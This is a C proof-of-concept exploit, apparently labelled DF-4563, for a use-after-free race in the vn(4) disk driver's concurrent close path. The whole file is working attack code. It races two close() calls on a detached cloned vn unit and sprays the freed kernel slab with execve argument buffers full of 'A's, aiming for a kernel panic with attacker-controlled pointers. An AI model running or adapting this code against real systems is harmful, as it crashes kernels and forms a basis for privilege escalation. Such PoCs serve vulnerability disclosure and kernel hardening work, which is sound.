DF-4563 / vn_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 | /* * DF-4563 PoC: vn(4) concurrent-close UAF * * Race: two fds open on a detached (VNF_DESTROY) cloned vn unit close * concurrently. diskclose() (sys/kern/subr_disk.c) decrements d_opencount, * then under ds_token calls dsclose(dev, type, dp->d_slice). The loser * (lcount==2) blocks on ds_token while the winner (lcount==1) runs * dev_dclose(rawdev) -> vnclose() -> kfree(vn) (vn.c:181-187). When the * loser finally gets the token it re-reads dp->d_slice / dp->d_rawdev from * the freed vn_softc. * * We make the freed content attacker-controlled by continuously recycling * the 2816-byte slab class with execve() p_args buffers full of 'A' * (kern.ps_arg_cache_limit raised so p_args of ~2700 bytes gets cached: * sys/kern/kern_exec.c kmalloc(sizeof(struct pargs)+i) + bcopy(argv)). * * Success criterion: kernel panic, page fault in dsclose/dsisopen with a * fault address like 0x41414141414141xx, or any "Fatal trap" in the close * path while this program runs. */ #include <sys/types.h> #include <sys/fcntl.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/vnioctl.h> #include <errno.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NPAIRS 4 /* concurrent racing units */ #define NSPRAY 4 /* fork/exec spray threads */ #define MAXCHILD 150 #define SPRAY_LEN 2660 /* argv bytes -> p_args ~2672 in 2816 class */ static volatile int stop_flag; static volatile int child_count; static pthread_mutex_t child_lk = PTHREAD_MUTEX_INITIALIZER; /* ---------------- spray ---------------- */ static void * spray_thread(void *x) { char *big = malloc(SPRAY_LEN + 1); memset(big, 'A', SPRAY_LEN); big[SPRAY_LEN] = 0; while (!stop_flag) { pid_t p = fork(); if (p == 0) { /* child: exec sleeper with fat argv -> kmalloc'd * p_args of sizeof(struct pargs)+~2672 bytes, * content = 'A's, alive for 600s */ execl("/root/poc/sleeper", "sleeper", "600", big, (char *)NULL); _exit(127); } if (p > 0) { pthread_mutex_lock(&child_lk); child_count++; pthread_mutex_unlock(&child_lk); } /* reap a few so we don't fork-bomb the box */ while (child_count > MAXCHILD) { int st; pid_t w; usleep(1000); w = waitpid(-1, &st, WNOHANG); if (w > 0) { pthread_mutex_lock(&child_lk); child_count--; pthread_mutex_unlock(&child_lk); } else { break; } } usleep(200); } free(big); return NULL; } /* ---------------- race ---------------- */ struct pairctx { int idx; volatile int go; volatile int fds[2]; volatile int closed; long iters; }; struct closerarg { struct pairctx *pc; int which; }; static int find_unit_path(int fd, char *path, size_t len) { struct stat st, dst; int u; if (fstat(fd, &st) < 0) return (-1); for (u = 4; u < 128; u++) { snprintf(path, len, "/dev/vn%d", u); if (stat(path, &dst) == 0 && dst.st_rdev == st.st_rdev) return (0); } return (-1); } static void * closer_thread(void *x) { struct closerarg *ca = x; struct pairctx *pc = ca->pc; for (;;) { while (!pc->go && !stop_flag) ; /* tight spin barrier */ if (stop_flag) break; close(pc->fds[ca->which]); pc->closed++; } return NULL; } static void * pair_thread(void *x) { struct pairctx *pc = x; struct closerarg ca0 = { pc, 0 }, ca1 = { pc, 1 }; pthread_t t0, t1; struct vn_ioctl vio; char path[64]; int fd1, fd2; long iter; pthread_create(&t0, NULL, closer_thread, &ca0); pthread_create(&t1, NULL, closer_thread, &ca1); for (iter = 0; iter < 1000000 && !stop_flag; iter++) { fd1 = open("/dev/vn", O_RDWR); /* clone a unit */ if (fd1 < 0) break; if (find_unit_path(fd1, path, sizeof(path)) < 0) { close(fd1); continue; } bzero(&vio, sizeof(vio)); vio.vn_file = NULL; /* swap-backed */ vio.vn_size = 16; if (ioctl(fd1, VNIOCATTACH, &vio) < 0) { close(fd1); continue; } bzero(&vio, sizeof(vio)); if (ioctl(fd1, VNIOCDETACH, &vio) < 0) { /* VNF_DESTROY gets set for cloned units (>=4) */ close(fd1); continue; } fd2 = open(path, O_RDWR); if (fd2 < 0) { close(fd1); continue; } /* arm the two closers and release them together */ pc->fds[0] = fd1; pc->fds[1] = fd2; pc->closed = 0; pc->go = 1; while (pc->closed < 2 && !stop_flag) ; pc->go = 0; pc->iters = iter; if ((iter % 2000) == 0) { printf("pair%d iter %ld\n", pc->idx, iter); fflush(stdout); } } pc->fds[0] = pc->fds[1] = -1; stop_flag = 1; return NULL; } int main(int argc, char **argv) { pthread_t spray[NSPRAY], pairs[NPAIRS]; static struct pairctx pc[NPAIRS]; time_t t0 = time(NULL); int i, budget = 240; if (argc > 1) budget = atoi(argv[1]); bzero((void *)pc, sizeof(pc)); for (i = 0; i < NPAIRS; i++) pc[i].idx = i; for (i = 0; i < NSPRAY; i++) pthread_create(&spray[i], NULL, spray_thread, NULL); for (i = 0; i < NPAIRS; i++) pthread_create(&pairs[i], NULL, pair_thread, pc + i); while (!stop_flag && time(NULL) - t0 < budget) sleep(2); stop_flag = 1; printf("stopping after %lds, iterations:", (long)(time(NULL) - t0)); for (i = 0; i < NPAIRS; i++) printf(" p%d=%ld", i, pc[i].iters); printf("\n"); fflush(stdout); sleep(1); return 0; } |